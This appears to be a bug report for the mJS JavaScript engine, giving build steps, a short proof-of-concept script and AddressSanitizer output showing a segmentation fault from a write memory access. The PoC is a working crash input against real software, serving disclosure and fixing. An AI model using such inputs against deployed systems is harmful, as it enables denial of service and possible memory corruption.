SEGV (/usr/local/bin/mjs+0x9a30e)

[hope-fly]

mJS revision

Commit: b1b6eac

Build platform

Ubuntu 18.04.5 LTS (Linux 5.4.0-44-generic x86_64)

Build steps

vim Makefile
DOCKER_GCC=gcc
$(DOCKER_GCC) $(CFLAGS) $(TOP_MJS_SOURCES) $(TOP_COMMON_SOURCES) -o $(PROG)
# save the makefile then make
make

Test case

poc.js

```javascript
function Aply() {
    return Object.create.apply({}, [Object]);
}
function JSEtest(i) {
    return Aply(i, 1, 2, 3);
}
JSEtest(89)[Object.create--]
JSEtest(0.2)
```

​

Execution steps & Output

$ ./mjs/build/mjs poc.js

ASAN:DEADLYSIGNAL
=================================================================
==87532==ERROR: AddressSanitizer: SEGV on unknown address 0x55d1329c929c (pc 0x55d1329c930f bp 0x615000000080 sp 0x7ffe4957a058 T0)
==87532==The signal is caused by a WRITE memory access.
    #0 0x55d1329c930e  (/usr/local/bin/mjs+0x9a30e)

AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: SEGV (/usr/local/bin/mjs+0x9a30e)
==87532==ABORTING